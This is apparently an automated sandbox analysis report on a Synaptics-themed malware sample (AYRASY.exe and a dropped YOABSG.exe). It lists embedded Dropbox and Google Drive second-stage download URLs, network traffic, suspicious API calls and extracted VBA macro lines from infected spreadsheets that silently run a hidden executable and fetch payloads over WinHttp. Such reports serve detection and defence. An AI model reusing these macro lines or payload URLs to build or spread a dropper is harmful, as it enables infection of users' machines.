Source: Synaptics.exe, 00000003.00000002.2438067396.0000000002190000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=downloadN
Source: Synaptics.exe, 00000003.00000003.2338678036.00000000007AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2356235775.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2436766309.00000000007B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/wnload?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
Source: Synaptics.exe, 00000003.00000003.2356852883.000000000558B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2441515499.0000000005597000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.userconten
Source: Synaptics.exe, 00000003.00000003.2357080869.0000000005535000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2441515499.0000000005520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: Synaptics.exe, 00000003.00000003.2356852883.000000000558B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVG
Source: Synaptics.exe, 00000003.00000002.2441515499.0000000005557000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2356852883.0000000005588000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2357080869.0000000005578000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2357080869.000000000555A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2338570644.000000000557A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2357080869.000000000557A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2357080869.0000000005576000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2337108577.00000000055BA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2357080869.0000000005574000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
Source: Synaptics.exe, 00000003.00000003.2337108577.0000000005592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgineer
Source: Synaptics.exe, 00000003.00000002.2436766309.0000000000780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrls
Source: Synaptics.exe, 00000003.00000002.2436766309.0000000000780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrls(Z
Source: Synaptics.exe, 00000003.00000002.2436766309.0000000000780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrlss
Source: AYRASY.exe, 00000000.00000003.2148237469.00000000022E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=
Source: AYRASY.exe	String found in binary or memory: https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1
Source: Synaptics.exe, 00000003.00000002.2438067396.0000000002190000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1:
Source: AYRASY.exe	String found in binary or memory: https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1
Source: Synaptics.exe, 00000003.00000002.2438067396.0000000002190000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=16
Source: AYRASY.exe, 00000000.00000003.2148237469.00000000022E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dlL
Source: ~DFF3ADC856E5C0AEBE.TMP.4.dr	String found in binary or memory: https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1
Source: Synaptics.exe, 00000003.00000002.2438067396.0000000002190000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1:

Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867

Source: unknown	HTTPS traffic detected: 142.250.186.46:443 -> 192.168.2.6:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.46:443 -> 192.168.2.6:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.97:443 -> 192.168.2.6:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.97:443 -> 192.168.2.6:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.46:443 -> 192.168.2.6:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.46:443 -> 192.168.2.6:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.46:443 -> 192.168.2.6:49845 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.46:443 -> 192.168.2.6:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.97:443 -> 192.168.2.6:49853 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.23.97:443 -> 192.168.2.6:49858 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.46:443 -> 192.168.2.6:49859 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.46:443 -> 192.168.2.6:49867 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.46:443 -> 192.168.2.6:49913 version: TLS 1.2

Source: C:\Users\user\Desktop\._cache_AYRASY.exe

Code function: 2_2_001C7099 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

2_2_001C7099

Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001C7294 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,		2_2_001C7294
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_00A07294 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,		9_2_00A07294

Source: C:\Users\user\Desktop\._cache_AYRASY.exe

2_2_001C7099

Source: C:\Users\user\Desktop\._cache_AYRASY.exe

Code function: 2_2_001B4342 GetKeyboardState,SetKeyboardState,PostMessageW,SendInput,

2_2_001B4342

Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001DF5D0 NtdllDialogWndProc_W,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SetCapture,ClientToScreen,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,		2_2_001DF5D0
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_00A1F5D0 NtdllDialogWndProc_W,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SetCapture,ClientToScreen,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,		9_2_00A1F5D0

System Summary

Document contains an embedded VBA macro with suspicious strings

Source: eLc9RiO7.xlsm.3.dr	OLE, VBA macro line: FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"
Source: eLc9RiO7.xlsm.3.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: eLc9RiO7.xlsm.3.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: eLc9RiO7.xlsm.3.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: eLc9RiO7.xlsm.3.dr	OLE, VBA macro line: TMP = Environ("Temp") & "\~$cache1.exe"
Source: eLc9RiO7.xlsm.3.dr	OLE, VBA macro line: If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then
Source: eLc9RiO7.xlsm.3.dr	OLE, VBA macro line: Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide
Source: eLc9RiO7.xlsm.3.dr	OLE, VBA macro line: ElseIf FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then
Source: eLc9RiO7.xlsm.3.dr	OLE, VBA macro line: Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide
Source: eLc9RiO7.xlsm.3.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
Source: eLc9RiO7.xlsm.3.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")
Source: PWCCAWLGRE.xlsm.3.dr	OLE, VBA macro line: FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"
Source: PWCCAWLGRE.xlsm.3.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: PWCCAWLGRE.xlsm.3.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: PWCCAWLGRE.xlsm.3.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: PWCCAWLGRE.xlsm.3.dr	OLE, VBA macro line: TMP = Environ("Temp") & "\~$cache1.exe"
Source: PWCCAWLGRE.xlsm.3.dr	OLE, VBA macro line: If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then
Source: PWCCAWLGRE.xlsm.3.dr	OLE, VBA macro line: Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide
Source: PWCCAWLGRE.xlsm.3.dr	OLE, VBA macro line: ElseIf FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then
Source: PWCCAWLGRE.xlsm.3.dr	OLE, VBA macro line: Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide
Source: PWCCAWLGRE.xlsm.3.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
Source: PWCCAWLGRE.xlsm.3.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")

Document contains an embedded VBA with functions possibly related to ADO stream file operations

Source: eLc9RiO7.xlsm.3.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'ADODB.Stream' functions open, read, savetofile, write
Source: PWCCAWLGRE.xlsm.3.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'ADODB.Stream' functions open, read, savetofile, write

Document contains an embedded VBA with functions possibly related to HTTP operations

Source: eLc9RiO7.xlsm.3.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'XMLHttpRequest' functions response, responsebody, responsetext, status, open, send
Source: PWCCAWLGRE.xlsm.3.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'XMLHttpRequest' functions response, responsebody, responsetext, status, open, send

Document contains an embedded VBA with functions possibly related to WSH operations (process, registry, environment, or keystrokes)

Source: eLc9RiO7.xlsm.3.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'WScript.Shell' functions regread, regwrite, environ
Source: PWCCAWLGRE.xlsm.3.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'WScript.Shell' functions regread, regwrite, environ

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe	COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	COM Object queried: WBEM Locator HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	COM Object queried: Windows Management and Instrumentation HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}	Jump to behavior

Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001729C2 NtdllDefWindowProc_W,KillTimer,SetTimer,RegisterClipboardFormatW,CreatePopupMenu,PostQuitMessage,SetFocus,MoveWindow,	2_2_001729C2
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001E02AA NtdllDialogWndProc_W,	2_2_001E02AA
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001DE769 NtdllDialogWndProc_W,CallWindowProcW,	2_2_001DE769
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001DEA4E NtdllDialogWndProc_W,	2_2_001DEA4E
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001DEAA6 ReleaseCapture,SetWindowTextW,SendMessageW,NtdllDialogWndProc_W,	2_2_001DEAA6
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_0018AC99 NtdllDialogWndProc_W,	2_2_0018AC99
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001DECBC PostMessageW,GetFocus,GetDlgCtrlID,_memset,GetMenuItemInfoW,GetMenuItemCount,GetMenuItemID,GetMenuItemInfoW,GetMenuItemInfoW,CheckMenuRadioItem,NtdllDialogWndProc_W,	2_2_001DECBC
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_0018AD5C NtdllDialogWndProc_W,74A3C8D0,NtdllDialogWndProc_W,	2_2_0018AD5C
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_0018AFB4 GetParent,NtdllDialogWndProc_W,	2_2_0018AFB4
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001DEFA8 GetCursorPos,TrackPopupMenuEx,GetCursorPos,NtdllDialogWndProc_W,	2_2_001DEFA8
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001DF0A1 SendMessageW,NtdllDialogWndProc_W,	2_2_001DF0A1
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001DF122 DragQueryPoint,SendMessageW,DragQueryFileW,DragQueryFileW,_wcscat,SendMessageW,SendMessageW,SendMessageW,SendMessageW,DragFinish,NtdllDialogWndProc_W,	2_2_001DF122
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001DF37C NtdllDialogWndProc_W,	2_2_001DF37C
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001DF3AB NtdllDialogWndProc_W,	2_2_001DF3AB
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001DF3DA NtdllDialogWndProc_W,	2_2_001DF3DA
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001DF425 NtdllDialogWndProc_W,	2_2_001DF425
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001DF45A ClientToScreen,NtdllDialogWndProc_W,	2_2_001DF45A
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001DF594 GetWindowLongW,NtdllDialogWndProc_W,	2_2_001DF594
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001DF5D0 NtdllDialogWndProc_W,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SetCapture,ClientToScreen,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,	2_2_001DF5D0
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_0018B7F2 NtdllDialogWndProc_W,	2_2_0018B7F2
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_0018B845 NtdllDialogWndProc_W,	2_2_0018B845
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001DFE80 NtdllDialogWndProc_W,	2_2_001DFE80
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001DFF04 GetClientRect,GetCursorPos,ScreenToClient,NtdllDialogWndProc_W,	2_2_001DFF04
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001DFF91 GetSystemMetrics,MoveWindow,SendMessageW,InvalidateRect,SendMessageW,ShowWindow,NtdllDialogWndProc_W,	2_2_001DFF91
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_009B29C2 NtdllDefWindowProc_W,KillTimer,SetTimer,RegisterClipboardFormatW,CreatePopupMenu,PostQuitMessage,SetFocus,MoveWindow,	9_2_009B29C2
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_00A202AA NtdllDialogWndProc_W,	9_2_00A202AA
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_00A1E769 NtdllDialogWndProc_W,CallWindowProcW,	9_2_00A1E769
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_00A1EAA6 ReleaseCapture,SetWindowTextW,SendMessageW,NtdllDialogWndProc_W,	9_2_00A1EAA6
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_00A1EA4E NtdllDialogWndProc_W,	9_2_00A1EA4E
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_009CAC99 NtdllDialogWndProc_W,	9_2_009CAC99
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_00A1ECBC PostMessageW,GetFocus,GetDlgCtrlID,_memset,GetMenuItemInfoW,GetMenuItemCount,GetMenuItemID,GetMenuItemInfoW,GetMenuItemInfoW,CheckMenuRadioItem,NtdllDialogWndProc_W,	9_2_00A1ECBC
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_009CAD5C NtdllDialogWndProc_W,74A3C8D0,NtdllDialogWndProc_W,	9_2_009CAD5C
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_00A1EFA8 GetCursorPos,TrackPopupMenuEx,GetCursorPos,NtdllDialogWndProc_W,	9_2_00A1EFA8
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_009CAFB4 GetParent,NtdllDialogWndProc_W,	9_2_009CAFB4
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_00A1F0A1 SendMessageW,NtdllDialogWndProc_W,	9_2_00A1F0A1
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_00A1F122 DragQueryPoint,SendMessageW,DragQueryFileW,DragQueryFileW,_wcscat,SendMessageW,SendMessageW,SendMessageW,SendMessageW,DragFinish,NtdllDialogWndProc_W,	9_2_00A1F122
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_00A1F3AB NtdllDialogWndProc_W,	9_2_00A1F3AB
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_00A1F3DA NtdllDialogWndProc_W,	9_2_00A1F3DA
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_00A1F37C NtdllDialogWndProc_W,	9_2_00A1F37C
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_00A1F425 NtdllDialogWndProc_W,	9_2_00A1F425
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_00A1F45A ClientToScreen,NtdllDialogWndProc_W,	9_2_00A1F45A
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_00A1F594 GetWindowLongW,NtdllDialogWndProc_W,	9_2_00A1F594
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_00A1F5D0 NtdllDialogWndProc_W,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SetCapture,ClientToScreen,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,	9_2_00A1F5D0
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_009CB7F2 NtdllDialogWndProc_W,	9_2_009CB7F2
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_009CB845 NtdllDialogWndProc_W,	9_2_009CB845
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_00A1FE80 NtdllDialogWndProc_W,	9_2_00A1FE80
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_00A1FF91 GetSystemMetrics,MoveWindow,SendMessageW,InvalidateRect,SendMessageW,ShowWindow,NtdllDialogWndProc_W,	9_2_00A1FF91
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_00A1FF04 GetClientRect,GetCursorPos,ScreenToClient,NtdllDialogWndProc_W,	9_2_00A1FF04

Source: C:\Users\user\Desktop\._cache_AYRASY.exe

Code function: 2_2_001B702F: CreateFileW,DeviceIoControl,CloseHandle,

2_2_001B702F

Source: C:\Users\user\Desktop\._cache_AYRASY.exe

Code function: 2_2_001AB9F1 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,74BD5590,CreateProcessAsUserW,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,

2_2_001AB9F1

Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001B82D0 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,		2_2_001B82D0
Source: C:\Users\user\AppData\Roaming\Windata\YOABSG.exe	Code function: 9_2_009F82D0 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,		9_2_009F82D0

Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001D30AD	2_2_001D30AD
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_00183680	2_2_00183680
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_0017DCD0	2_2_0017DCD0
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_0017A0C0	2_2_0017A0C0
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_00190183	2_2_00190183
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001B220C	2_2_001B220C
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_00178530	2_2_00178530
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_00176670	2_2_00176670
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_00190677	2_2_00190677
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001DA8DC	2_2_001DA8DC
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_00190A8F	2_2_00190A8F
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_00176BBC	2_2_00176BBC
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_0019AC83	2_2_0019AC83
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_0018AD5C	2_2_0018AD5C
Source: C:\Users\user\Desktop\._cache_AYRASY.exe	Code function: 2_2_001A4EBF	2_2_001A4EBF
